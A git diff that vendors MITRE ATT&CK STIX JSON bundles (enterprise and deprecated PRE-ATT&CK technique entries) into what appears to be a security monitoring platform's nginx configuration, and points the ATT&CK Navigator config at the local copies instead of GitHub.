", + "x_mitre_shortname": "persistence", + "modified": "2019-07-19T17:42:33.899Z", + "id": "x-mitre-tactic--5bc1d813-693e-4823-9961-abf9af4b0e92", + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0003", + "url": "https://attack.mitre.org/tactics/TA0003" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-tactic", + "name": "Privilege Escalation", + "description": "The adversary is trying to gain higher-level permissions.\n\nPrivilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include: \n\n* SYSTEM/root level\n* local administrator\n* user account with admin-like access \n* user accounts with access to specific system or perform specific function\n\nThese techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context. ", + "x_mitre_shortname": "privilege-escalation", + "modified": "2021-01-06T14:21:21.641Z", + "id": "x-mitre-tactic--5e29b093-294e-49e9-a803-dab3d73b77dd", + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "TA0004", + "url": "https://attack.mitre.org/tactics/TA0004" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-tactic", + "name": "Reconnaissance", + "description": "The adversary is trying to gather information they can use to plan future operations.\n\nReconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organization, infrastructure, or staff/personnel. This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute Initial Access, to scope and prioritize post-compromise objectives, or to drive and lead further Reconnaissance efforts.", + "x_mitre_shortname": "reconnaissance", + "modified": "2020-10-18T02:04:50.842Z", + "id": "x-mitre-tactic--daa4cbb1-b4f4-4723-a824-7f1efd6e0592", + "created": "2020-10-02T14:48:41.809Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/tactics/TA0043", + "external_id": "TA0043", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-tactic", + "name": "Resource Development", + "description": "The adversary is trying to establish resources they can use to support operations.\n\nResource Development consists of techniques that involve adversaries creating, purchasing, or compromising/stealing resources that can be used to support targeting. Such resources include infrastructure, accounts, or capabilities. These resources can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using purchased domains to support Command and Control, email accounts for phishing as a part of Initial Access, or stealing code signing certificates to help with Defense Evasion.", + "x_mitre_shortname": "resource-development", + "modified": "2020-09-30T16:31:36.322Z", + "id": "x-mitre-tactic--d679bca2-e57d-4935-8650-8031c87a4400", + "created": "2020-09-30T16:11:59.650Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/tactics/TA0042", + "external_id": "TA0042", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-matrix", + "name": "Enterprise ATT&CK", + "description": "Below are the tactics and technique representing the MITRE ATT&CK Matrix for Enterprise. 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(2021, April 22). Working with Confluence Logs. Retrieved September 23, 2021.", + "source_name": "Confluence Logs" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2021-10-20T15:05:19.272957Z", + "id": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "description": "Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)", + "x_mitre_version": "1.0", + "x_mitre_data_source_ref": "x-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Application Log Content", + "created": "2021-10-20T15:05:19.272957Z", + "type": "x-mitre-data-component" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2021-10-20T15:05:19.275410Z", + "name": "Certificate", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "type": "x-mitre-data-source", + "x_mitre_platforms": [ + "PRE" + ], + "id": "x-mitre-data-source--29aa4e0e-4a26-4f79-a9bc-1ae66df1c923", + "description": "A digital document, which highlights information such as the owner's identity, used to instill trust in public keys used while encrypting network communications", + "x_mitre_collection_layers": [ + "OSINT" + ], + "x_mitre_contributors": [], + "created": "2021-10-20T15:05:19.275410Z", + "external_references": [ + { + "url": "https://attack.mitre.org/datasources/DS0037", + "external_id": "DS0037", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2021-10-20T15:05:19.275437Z", + "id": "x-mitre-data-component--1dad5aa4-4bb5-45e4-9e42-55d40003cfa6", + "description": "Queried or logged information highlighting current and expired digital certificates (ex: Certificate transparency)", + "x_mitre_version": "1.0", + "x_mitre_data_source_ref": "x-mitre-data-source--29aa4e0e-4a26-4f79-a9bc-1ae66df1c923", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Certificate Registration", + "created": "2021-10-20T15:05:19.275437Z", + "type": "x-mitre-data-component" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2021-11-10T09:30:48.694425Z", + "name": "Cloud Service", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "type": "x-mitre-data-source", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Office 365", + "Azure AD", + "Google Workspace" + ], + "id": "x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647", + "description": "Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon AWS)(Citation: Azure Products)", + "x_mitre_collection_layers": [ + "Cloud Control Plane" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "created": "2021-10-20T15:05:19.273990Z", + "external_references": [ + { + "url": "https://attack.mitre.org/datasources/DS0025", + "external_id": "DS0025", + "source_name": "mitre-attack" + }, + { + "url": "https://aws.amazon.com", + "description": "Amazon. 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"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2021-11-10T09:30:48.753746Z", + "id": "relationship--5d320f6f-7415-4c94-8c00-2fb3d0ff5036", + "target_ref": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", + "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "detects", + "created": "2021-11-10T09:30:48.753746Z", + "type": "relationship" + }, + { + "type": "marking-definition", + "definition": { + "statement": "Copyright 2015-2021, The MITRE Corporation. MITRE ATT&CK and ATT&CK are registered trademarks of The MITRE Corporation." + }, + "id": "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168", + "created": "2017-06-01T00:00:00Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "definition_type": "statement" + } + ], + "id": "bundle--a76f9951-184a-4d17-8103-a9cc3be4a1b7", + "spec_version": "2.0" +} \ No newline at end of file diff --git a/salt/nginx/files/navigator_config.json b/salt/nginx/files/navigator_config.json index d4f6e0908..3fd87139b 100644 --- a/salt/nginx/files/navigator_config.json +++ b/salt/nginx/files/navigator_config.json @@ -1,9 +1,9 @@ {%- set URL_BASE = salt['pillar.get']('global:url_base', '') %} { - "enterprise_attack_url": "https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json", - "pre_attack_url": "https://raw.githubusercontent.com/mitre/cti/master/pre-attack/pre-attack.json", - "mobile_data_url": "https://raw.githubusercontent.com/mitre/cti/master/mobile-attack/mobile-attack.json", + "enterprise_attack_url": "assets/enterprise-attack.json", + "pre_attack_url": "assets/pre-attack.json", + "mobile_data_url": "assets/mobile-attack.json", "taxii_server": { "enabled": false, "url": "https://cti-taxii.mitre.org/", diff --git a/salt/nginx/files/pre-attack.json b/salt/nginx/files/pre-attack.json new file mode 100644 index 000000000..3a1469890 --- /dev/null +++ b/salt/nginx/files/pre-attack.json @@ -0,0 +1,8724 @@ +{ + "type": "bundle", + "id": "bundle--58c38583-fcc5-49ed-8a05-0dfe305e0c41", + "spec_version": "2.0", + "objects": [ + { + "id": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Acquire OSINT data sets and information", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1266).\n\nOpen source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1266", + "external_id": "T1266" + }, + { + "source_name": "RSA-APTRecon", + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "This activity is indistinguishable from legitimate business uses and easy to obtain.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Possible to gather digital intelligence about a person is easily aided by social networking sites, free/for fee people search engines, and publicly available information (e.g., county databases on tickets/DUIs).", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1043", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Acquire OSINT data sets and information", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1247).\n\nOpen source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1247", + "external_id": "T1247" + }, + { + "source_name": "RSA-APTRecon", + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "This activity is indistinguishable from legitimate business uses and easy to obtain. Direct access to the selected target is not required for the adversary to conduct this technique. There is a limited ability to detect this by looking at referrer fields on local web site accesses (e.g., a person who has accessed your web servers from [https://www.shodan.io Shodan]).", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Possible to gather technical intelligence about Internet accessible systems/devices by obtaining various commercial data sets and supporting business intelligence tools for ease of analysis. Commercial data set examples include advertising content delivery networks, Internet mapping/traffic collections, system fingerprinting data sets, device fingerprinting data sets, etc.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1024", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Acquire OSINT data sets and information", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1277).\n\nData sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1277", + "external_id": "T1277" + }, + { + "source_name": "SANSThreatProfile", + "description": "Stephen Irwin. (2014, September 8). Creating a Threat Profile for Your Organization. Retrieved March 5, 2017." + }, + { + "source_name": "Infosec-osint", + "description": "InfoSec Institute. (2013, September 11). OSINT (Open-Source Intelligence). Retrieved May 9, 2017." + }, + { + "source_name": "isight-osint", + "description": "Dawn Lomer. (2017). 101+ OSINT Resources for Investigators. Retrieved May 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "This activity is indistinguishable from legitimate business uses and easy to obtain.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Large quantities of data exists on people, organizations and technologies whether divulged wittingly or collected as part of doing business on the Internet (unbeknownst to the user/company). Search engine and database indexing companies continuously mine this information and make it available to anyone who queries for it.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1054", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Acquire and/or use 3rd party infrastructure services", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1329).\n\nA wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1329", + "external_id": "T1329" + }, + { + "source_name": "TrendmicroHideoutsLease", + "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.", + "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1106", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Wide variety of cloud/VPS/hosting/compute/storage solutions available for adversary to acquire freely or at a low cost.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Hard to differentiate from standard business operations.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--286cc500-4291-45c2-99a1-e760db176402", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Acquire and/or use 3rd party infrastructure services", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1307).\n\nA wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1307", + "external_id": "T1307" + }, + { + "source_name": "LUCKYCAT2012", + "description": "Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "3rd party services highly leveraged by legitimate services, hard to distinguish from background noise. While an adversary can use their own infrastructure, most know this is a sure- re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1084", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Acquire and/or use 3rd party software services", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1308).\n\nA wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1308", + "external_id": "T1308" + }, + { + "source_name": "LUCKYCAT2012", + "description": "Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017." + }, + { + "source_name": "Nemucod Facebook", + "description": "Bart Blaze. (2016, November 20). Nemucod downloader spreading via Facebook. Retrieved March 28, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility over account creation for 3rd party software services.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "3rd party services like these listed are freely available.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1085", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Acquire and/or use 3rd party software services", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1330).\n\nA wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1330", + "external_id": "T1330" + }, + { + "source_name": "LOWBALL2015", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility over account creation for 3rd party software services.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "3rd party services like these listed are freely available.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1107", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Acquire or compromise 3rd party signing certificates", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1310).\n\nCode signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1310", + "external_id": "T1310" + }, + { + "description": "Brad Arkin. (2012, September 27). Inappropriate Use of Adobe Code Signing Certificate. Retrieved March 28, 2017.", + "source_name": "Adobe Code Signing Cert" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1087", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Acquire or compromise 3rd party signing certificates", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1332).\n\nCode signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1332", + "external_id": "T1332" + }, + { + "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.", + "source_name": "DiginotarCompromise", + "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1109", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--b3f36317-3940-4d71-968f-e11ac1bf6a31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Aggregate individual's digital footprint", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1275).\n\nIn addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1275", + "external_id": "T1275" + }, + { + "source_name": "DigitalFootprint", + "description": "Christopher Budd. (2016, June 27). The importance of understanding your digital footprint. Retrieved May 4, 2017." + }, + { + "source_name": "trendmicro-vtech", + "description": "Christopher Budd. (2015, December 1). Understanding the Risks of the VTech Data Breach. Retrieved May 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Information readily available through searches", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1052", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--fe421ab9-c8f3-42f7-9ae1-5d6c324cc925", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Analyze application security posture", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1293).\n\nAn adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1293", + "external_id": "T1293" + }, + { + "source_name": "Li2014ExploitKits", + "description": "Brooks Li. (2014, December 17). What\u2019s New in Exploit Kits in 2014. Retrieved March 6, 2017." + }, + { + "source_name": "RecurlyGHOST", + "description": "Mark Poole. (2015, January 27). GHOST vulnerability (CVE-2015-0235) in popular Linux library glibc allows remote code execution. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "This can be done offline after the data has been collected.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Analyze technical scanning results to identify weaknesses in the configuration or architecture. Many of the common tools highlight these weakness automatically (e.g., software security scanning tools or published vulnerabilities about commonly used libraries).", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1070", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": 